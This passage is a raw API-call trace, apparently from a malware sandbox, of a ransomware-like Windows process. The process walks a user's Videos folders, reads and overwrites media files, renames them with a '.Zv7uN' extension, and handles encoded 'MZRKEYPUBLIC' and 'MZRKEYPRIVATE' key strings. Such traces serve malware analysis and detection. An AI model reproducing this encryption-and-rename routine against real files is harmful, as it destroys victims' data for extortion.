q01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0087.393] GetCurrentThreadId () returned 0xa30 [0087.393] GetCurrentThreadId () returned 0xa30 [0087.394] GetCurrentThreadId () returned 0xa30 [0087.394] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.394] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.395] GetCurrentThreadId () returned 0xa30 [0087.395] GetCurrentThreadId () returned 0xa30 [0087.395] GetCurrentThreadId () returned 0xa30 [0087.395] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\Y oCXBDXgZpHI20YYF3k.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evnxeth8or\\y ocxbdxgzphi20yyf3k.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.395] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0087.395] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.396] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x3dd4 [0087.396] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.396] ReadFile (in: hFile=0x11c, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0x3dd4, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f6a0*=0x3dd4, lpOverlapped=0x0) returned 1 [0087.466] CloseHandle (hObject=0x11c) returned 1 [0087.467] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\Y oCXBDXgZpHI20YYF3k.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evnxeth8or\\y ocxbdxgzphi20yyf3k.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.484] WriteFile (in: hFile=0x11c, lpBuffer=0x1f0ced0*, nNumberOfBytesToWrite=0x3dd4, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f0ced0*, lpNumberOfBytesWritten=0x18f6ac*=0x3dd4, lpOverlapped=0x0) returned 1 [0087.486] CloseHandle (hObject=0x11c) returned 1 [0087.488] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\Y oCXBDXgZpHI20YYF3k.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evnxeth8or\\y ocxbdxgzphi20yyf3k.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\Y oCXBDXgZpHI20YYF3k.swf.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evnxeth8or\\y ocxbdxgzphi20yyf3k.swf.zv7un")) returned 1 [0087.489] GetCurrentThreadId () returned 0xa30 [0087.489] GetCurrentThreadId () returned 0xa30 [0087.489] GetCurrentThreadId () returned 0xa30 [0087.489] GetCurrentThreadId () returned 0xa30 [0087.489] GetCurrentThreadId () returned 0xa30 [0087.489] GetCurrentThreadId () returned 0xa30 [0087.490] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf96bed0, ftCreationTime.dwHighDateTime=0x1d5e786, ftLastAccessTime.dwLowDateTime=0x3d903c30, ftLastAccessTime.dwHighDateTime=0x1d5e45a, ftLastWriteTime.dwLowDateTime=0x3d903c30, ftLastWriteTime.dwHighDateTime=0x1d5e45a, nFileSizeHigh=0x0, nFileSizeLow=0x3dd4, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Y oCXBDXgZpHI20YYF3k.swf", cAlternateFileName="YOCXBD~1.SWF")) returned 0 [0087.490] GetLastError () returned 0x12 [0087.490] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0087.490] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EvnXETH8or\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6fd7a1f0, ftCreationTime.dwHighDateTime=0x1d5d7db, ftLastAccessTime.dwLowDateTime=0x520f2340, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x520f2340, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0087.490] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0087.490] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.490] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6fd7a1f0, ftCreationTime.dwHighDateTime=0x1d5d7db, ftLastAccessTime.dwLowDateTime=0x520f2340, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x520f2340, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0087.491] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.491] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.491] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d655d90, ftCreationTime.dwHighDateTime=0x1d5d885, ftLastAccessTime.dwLowDateTime=0x8d3faca0, ftLastAccessTime.dwHighDateTime=0x1d5e709, ftLastWriteTime.dwLowDateTime=0x51f9b6e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x6b77, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="CpmH5RaN7K.swf.Zv7uN", cAlternateFileName="CPMH5R~1.ZV7")) returned 1 [0087.491] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.491] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.491] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4fa210, ftCreationTime.dwHighDateTime=0x1d5de6e, ftLastAccessTime.dwLowDateTime=0xb044a660, ftLastAccessTime.dwHighDateTime=0x1d5dc6e, ftLastWriteTime.dwLowDateTime=0x51fc1840, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x691d, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="cueKOlXVJh9M3Adi.mp4.Zv7uN", cAlternateFileName="CUEKOL~1.ZV7")) returned 1 [0087.491] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.491] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.491] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0f34b00, ftCreationTime.dwHighDateTime=0x1d5e6a9, ftLastAccessTime.dwLowDateTime=0xc60bfd00, ftLastAccessTime.dwHighDateTime=0x1d5e2da, ftLastWriteTime.dwLowDateTime=0x5200db00, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x148ca, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="GpTL.swf.Zv7uN", cAlternateFileName="GPTLSW~1.ZV7")) returned 1 [0087.491] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.491] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.491] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf96bed0, ftCreationTime.dwHighDateTime=0x1d5e786, ftLastAccessTime.dwLowDateTime=0x3d903c30, ftLastAccessTime.dwHighDateTime=0x1d5e45a, ftLastWriteTime.dwLowDateTime=0x520f2340, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3dd4, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Y oCXBDXgZpHI20YYF3k.swf.Zv7uN", cAlternateFileName="YOCXBD~1.ZV7")) returned 1 [0087.491] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.491] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.491] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf96bed0, ftCreationTime.dwHighDateTime=0x1d5e786, ftLastAccessTime.dwLowDateTime=0x3d903c30, ftLastAccessTime.dwHighDateTime=0x1d5e45a, ftLastWriteTime.dwLowDateTime=0x520f2340, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3dd4, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Y oCXBDXgZpHI20YYF3k.swf.Zv7uN", cAlternateFileName="YOCXBD~1.ZV7")) returned 0 [0087.491] GetLastError () returned 0x12 [0087.491] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0087.492] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cb6ec90, ftCreationTime.dwHighDateTime=0x1d5db06, ftLastAccessTime.dwLowDateTime=0x898999b0, ftLastAccessTime.dwHighDateTime=0x1d5e7de, ftLastWriteTime.dwLowDateTime=0x51a40560, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0xa497, dwReserved0=0xfcdde474, dwReserved1=0xba1113e9, cFileName="n7T_pRq.flv.Zv7uN", cAlternateFileName="N7T_PR~1.ZV7")) returned 1 [0087.492] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0087.492] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0087.492] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61623870, ftCreationTime.dwHighDateTime=0x1d5e09a, ftLastAccessTime.dwLowDateTime=0x8f5230, ftLastAccessTime.dwHighDateTime=0x1d5de6a, ftLastWriteTime.dwLowDateTime=0x8f5230, ftLastWriteTime.dwHighDateTime=0x1d5de6a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfcdde474, dwReserved1=0xba1113e9, cFileName="nNUix", cAlternateFileName="")) returned 1 [0087.492] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0087.492] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0087.492] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61623870, ftCreationTime.dwHighDateTime=0x1d5e09a, ftLastAccessTime.dwLowDateTime=0x8f5230, ftLastAccessTime.dwHighDateTime=0x1d5de6a, ftLastWriteTime.dwLowDateTime=0x8f5230, ftLastWriteTime.dwHighDateTime=0x1d5de6a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0087.492] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x61623870, ftCreationTime.dwHighDateTime=0x1d5e09a, ftLastAccessTime.dwLowDateTime=0x8f5230, ftLastAccessTime.dwHighDateTime=0x1d5de6a, ftLastWriteTime.dwLowDateTime=0x8f5230, ftLastWriteTime.dwHighDateTime=0x1d5de6a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0087.492] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae0ee920, ftCreationTime.dwHighDateTime=0x1d5e1e9, ftLastAccessTime.dwLowDateTime=0x4aa4b6a0, ftLastAccessTime.dwHighDateTime=0x1d5e692, ftLastWriteTime.dwLowDateTime=0x4aa4b6a0, ftLastWriteTime.dwHighDateTime=0x1d5e692, nFileSizeHigh=0x0, nFileSizeLow=0xc093, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="I9T1DkViXh.mkv", cAlternateFileName="I9T1DK~1.MKV")) returned 1 [0087.492] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0087.493] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.493] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\I9T1DkViXh.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\i9t1dkvixh.mkv"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae0ee920, ftCreationTime.dwHighDateTime=0x1d5e1e9, ftLastAccessTime.dwLowDateTime=0x4aa4b6a0, ftLastAccessTime.dwHighDateTime=0x1d5e692, ftLastWriteTime.dwLowDateTime=0x4aa4b6a0, ftLastWriteTime.dwHighDateTime=0x1d5e692, nFileSizeHigh=0x0, nFileSizeLow=0xc093)) returned 1 [0087.493] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\I9T1DkViXh.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\i9t1dkvixh.mkv")) returned 0x20 [0087.493] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\I9T1DkViXh.mkv", dwFileAttributes=0x80) returned 1 [0087.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, 